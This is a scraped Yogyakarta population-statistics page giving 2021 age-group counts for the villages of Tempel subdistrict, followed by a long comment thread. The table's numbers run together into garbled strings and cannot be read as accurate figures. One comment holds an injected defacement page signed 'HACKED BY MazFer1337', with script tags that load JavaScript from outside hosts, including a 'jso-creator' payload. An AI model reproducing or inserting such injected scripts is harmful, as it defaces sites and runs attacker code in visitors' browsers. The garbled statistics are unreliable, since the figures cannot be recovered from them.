Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KECAMATAN TEMPEL, KABUPATEN SLEMAN, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaBANYUREJOTAMBAKREJOSUMBERREJOPONDOKREJOMOROREJOMARGOREJOLUMBUNGREJOMERDIKOREJOTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun6083 1435852 1105052 1026367 1305963 122115112 2277575 1507380 153553 584 1.137
2 tahun5146 972534 592732 594639 853426 606371 1346346 1094048 88349 342 691
3 tahun4650 963334 672927 564733 803924 636372 1353759 963950 89333 349 682
4 tahun5043 933635 713131 624039 793536 717174 1455255 1073736 73352 349 701
5 tahun5835 933735 723037 674154 953938 778070 1505548 1036136 97401 353 754
6 tahun5647 1033331 642530 554451 953740 776568 1335549 1045651 107371 367 738
7 tahun5448 1022735 622621 475148 994437 818271 1535554 1095546 101394 360 754
8 tahun5737 944130 712430 543445 794638 847677 1536260 1224444 88384 361 745
9 tahun5052 1025632 883336 693462 964436 809484 1786362 1254852 100422 416 838
10 tahun4749 964244 863232 645953 1124232 747985 1646162 1235251 103414 408 822
11 tahun6653 1193935 743528 636148 1094339 828892 1808457 1415752 109473 404 877
12 tahun5871 1293740 774036 765248 1004750 977983 1626452 1164556 101422 436 858
13 tahun7159 1303730 673941 805137 883341 7410982 1915957 1165063 113449 410 859
14 tahun5069 1193435 693636 724952 1014834 829874 1725665 1215241 93423 406 829
15 tahun5654 1104146 873631 674547 924249 919574 1697951 1304857 105442 409 851
16 tahun5958 1172539 643333 664342 854149 908469 1535247 995741 98394 378 772
17 tahun4943 925236 882437 613244 763736 737166 1376352 1154435 79372 349 721
18 tahun5457 1114137 783632 684753 1004631 779887 1857363 1365440 94449 400 849
19 tahun4853 1014141 823332 655956 1153539 747776 1536255 1175459 113409 411 820
20 tahun4756 1034436 804326 695352 1055041 9111074 1846551 1164343 86455 379 834
21 tahun5167 1184429 734123 645552 1073736 739889 1876960 1294760 107442 416 858
22 tahun4954 1033640 763146 774851 994135 767883 1616055 1155738 95400 402 802
23 tahun6563 1283243 753727 644747 943740 777477 1515659 1153751 88385 407 792
24 tahun4846 943142 733145 765145 962841 698069 1496360 1234548 93377 396 773
25 tahun5153 1044042 823433 674942 913238 708573 1586356 1195045 95404 382 786
26 tahun4858 1063640 763138 694538 833632 688481 1655464 1183948 87373 399 772
27 tahun5367 1204023 633734 713134 653628 647978 1575956 1154338 81378 358 736
28 tahun5748 1053331 642735 624145 862638 648774 1614852 1004436 80363 359 722
29 tahun4744 912736 633520 554653 993444 786667 1334851 994147 88344 362 706
30 tahun4741 883431 652735 623237 693228 606777 1444942 914743 90335 334 669
31 tahun3845 833627 632527 524939 883336 698364 1475652 1084746 93367 336 703
32 tahun4951 1002642 683628 643837 754033 736963 1323938 775342 95350 334 684
33 tahun2950 792733 602120 414143 842830 584176 1173965 1044845 93274 362 636
34 tahun5457 1112234 563133 643739 763327 606663 1295258 1104534 79340 345 685
35 tahun5151 1023227 593532 673939 782938 677070 1405455 1093949 88349 361 710
36 tahun4847 953441 752130 515550 1053532 676378 1414746 934143 84344 367 711
37 tahun5064 1142628 543539 744662 1083839 778392 1755464 1184849 97380 437 817
38 tahun7348 1214231 733840 784050 903433 678883 1715758 1154558 103417 401 818
39 tahun5855 1134748 953931 705150 1013649 858092 1724845 934147 88400 417 817
40 tahun5439 933735 723330 635454 1083754 9187103 1905066 1165150 101403 431 834
41 tahun4261 1033938 772839 674744 914049 898977 1666154 1155542 97401 404 805
42 tahun5567 1223138 694031 715645 1013633 699077 1676269 1315753 110427 413 840
43 tahun6752 1193634 702828 564658 1044644 907783 1606256 1183552 87397 407 804
44 tahun6466 1304347 903633 695939 984940 899379 1725866 1245359 112455 429 884
45 tahun5773 1305750 1073429 634640 863543 789689 1855451 1054745 92426 420 846
46 tahun6659 1254548 933130 615746 1033639 758674 1605672 1284953 102426 421 847
47 tahun5951 1102832 603543 784852 1004336 797287 1596879 1474446 90397 426 823
48 tahun5358 1113544 794124 654658 1043636 727188 1596867 1355953 112409 428 837
49 tahun6362 1255552 1074246 884754 1015240 9210692 1986360 1234449 93472 455 927
50 tahun3940 794537 824142 833836 744045 858075 1557952 1314547 92407 374 781
51 tahun5868 1264343 863043 734139 802839 677785 1626463 1277236 108413 416 829
52 tahun7079 1494954 1033039 696458 1224345 8881107 1887263 1355154 105460 499 959
53 tahun5850 1084750 974333 764850 983835 738490 1746278 1404561 106425 447 872
54 tahun6741 1084441 854231 734343 863843 818376 1596153 1144938 87427 366 793
55 tahun5756 1132941 701540 553947 863944 837079 1494444 883848 86331 399 730
56 tahun4958 1073033 634032 723846 842236 586370 1334953 1025561 116346 389 735
57 tahun4759 1063226 582828 563846 841834 525872 1304734 813240 72300 339 639
58 tahun4738 852328 512932 613631 672723 505571 1264147 884237 79300 307 607
59 tahun4148 892524 492421 452529 545129 804775 1223255 874336 79288 317 605
60 tahun3741 781922 411922 413230 622232 545072 1223638 743641 77251 298 549
61 tahun5355 1082345 681814 323549 842948 777070 1402949 783542 77292 372 664
62 tahun4934 831828 462028 482926 552216 384449 933538 733734 71254 253 507
63 tahun3656 922725 522629 553436 701916 354447 912245 672438 62232 292 524
64 tahun3047 772620 462425 492336 592436 604359 1022836 642737 64225 296 521
65 tahun3840 782422 462432 563348 812325 486447 1113637 732835 63270 286 556
66 tahun3444 782518 432123 442524 492526 513244 763125 563327 60226 231 457
67 tahun3927 662022 422122 433026 561314 273535 703725 622722 49222 193 415
68 tahun3226 581418 32913 221416 302020 403428 621824 422526 51166 171 337
69 tahun3222 542117 382022 422018 381819 373324 572513 383229 61201 164 365
70 tahun920 29149 23817 251918 371217 292424 481618 342420 44126 143 269
71 tahun3541 761426 401820 382426 50229 313334 671820 381825 43182 201 383
72 tahun2017 371111 22910 191217 29815 231626 421224 361614 30104 134 238
73 tahun1930 491216 281013 231215 27109 191228 40920 291824 42102 155 257
74 tahun1210 221011 211713 301211 231317 301716 33511 16312 1589 101 190
75 tahun1918 371317 30611 171013 2387 152018 38116 171121 3288 121 209
76 tahun1836 541920 391517 321510 25137 202610 361816 34612 18130 128 258
77 tahun155 20105 1576 131110 21411 151310 23107 17139 2283 63 146
78 tahun1312 2589 171212 2499 18710 171424 381216 2898 1784 100 184
79 tahun2417 41918 2776 13910 191213 251616 3299 182015 35106 104 210
80 ke atas66114 1805070 1204866 1142656 824562 1075597 1523744 814769 116374 578 952
Jumlah3.7963.9097.7052.5842.6495.2332.3032.3714.6743.1423.2426.3842.6092.6725.2815.3985.43710.8353.8473.8697.7163.3213.3686.689 27.000 27.517 54.517
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih